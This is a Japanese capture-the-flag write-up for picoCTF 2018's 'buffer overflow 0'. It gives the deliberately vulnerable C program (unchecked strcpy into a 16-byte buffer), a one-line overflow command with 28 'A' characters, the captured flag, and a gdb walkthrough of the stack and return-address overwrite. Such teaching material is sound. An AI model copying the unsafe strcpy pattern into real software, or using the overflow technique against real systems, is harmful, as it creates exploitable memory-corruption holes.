picoCTF 2018: buffer overflow 0

問題

問題文

Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d on the shell server. Source.

Hints

How can you trigger the flag to print?

If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.

問題概要

脆弱性のあるプログラムとそのソースコードが与えられる.

解答例

指針

  • buffer overflow

解説

やるだけの問題を詳しく解説してみる.

与えられたソースコードは以下の通り.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

このプログラムを main() の先頭から読んでいく.

まず flag.txt を読み込み fgets で読み込んだ文字列を char 配列である flag に格納している.

signal() 関数でシグナルハンドラが設定されている.

シグナルハンドラとは割り込みや例外などのシグナルに対してある特定の処理を実行するときの, 処理のことを指す.

  signal(SIGSEGV, sigsegv_handler);

第一引数の SIGSEGV はシグナル番号で, このシグナルをキャッチしたとき sigsegv_handler を実行する. sigsegv_handler は flag を表示する関数なので SIGSEGV シグナルを出すことができれば flag を取ることができる.

不正なメモリアクセス, 許可がないメモリ上の位置へのアクセスなどを行うと セグメンテーション違反(segmentation fault) というエラーが起きる.

配列の範囲外参照をしてしまった際などにみられるこのエラーが起きた際, UNIX ライクな OS では SIGSEGV シグナルを受け取る.

この問題では vuln() という関数が用意されており, 引数としてコマンドライン引数の第一引数を受け取る.

この関数を見ると, strcpy() が使われており, 入力に buf より長い文字列を与えると buf overflow が生じる事がわかる.

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

実際に実行してみると 28文字以上の文字列を与えると flag が得られた.

kira924age@pico-2018-shell-2:/problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d$ ./vuln $( python3 -c "print('A'*28)" )
picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}

なぜこのようなことが起きたのかを少し考える.

以下は gdb を使って vuln() を逆アセンブルした様子である.

kira924age@pico-2018-shell-2:/problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) start AAA
Temporary breakpoint 1 at 0x8048691
Starting program: /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d/vuln AAA

Temporary breakpoint 1, 0x08048691 in main ()
(gdb) set disassembly-flavor intel
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x08048667 <+0>:     push   ebp
   0x08048668 <+1>:     mov    ebp,esp
   0x0804866a <+3>:     sub    esp,0x18
   0x0804866d <+6>:     sub    esp,0x8
   0x08048670 <+9>:     push   DWORD PTR [ebp+0x8]
   0x08048673 <+12>:    lea    eax,[ebp-0x18]
   0x08048676 <+15>:    push   eax
   0x08048677 <+16>:    call   0x80484b0 <strcpy@plt>
   0x0804867c <+21>:    add    esp,0x10
   0x0804867f <+24>:    nop
   0x08048680 <+25>:    leave
   0x08048681 <+26>:    ret
End of assembler dump.
(gdb)

まず push ebp により EBP の値をコールスタックに積んでいる. このようにして EBP の値をコールスタックに退避させることで EBP を書き換えても, あとでもとの値に戻すことができるようになる.

コールスタックでは引数の受け渡しなども行われる.

strcpy() の引数2つは直前の push でコールスタックに積まれている.

   0x08048670 <+9>:     push   DWORD PTR [ebp+0x8]
   0x08048673 <+12>:    lea    eax,[ebp-0x18]
   0x08048676 <+15>:    push   eax
   0x08048677 <+16>:    call   0x80484b0 <strcpy@plt>

[ebp-0x18] が buf の先頭アドレスで, [ebp+0x8] が input の先頭アドレスである.

コールスタックの状態は以下のようになっている. 28文字以上の文字列の文字列を入力として与えると戻り先のアドレス (return address) が書き換わり, この関数を抜けた際の EIP の値が 今回では AAAA になり, プログラムは SIGSEGV シグナルを受け取る.

(lower address)

| top of buf |
...
< 0x18 bytes >
...
| saved EBP   |
| return addr |
|  param 1    |

(higher address)

参考文献

  • HACKING:美しき策謀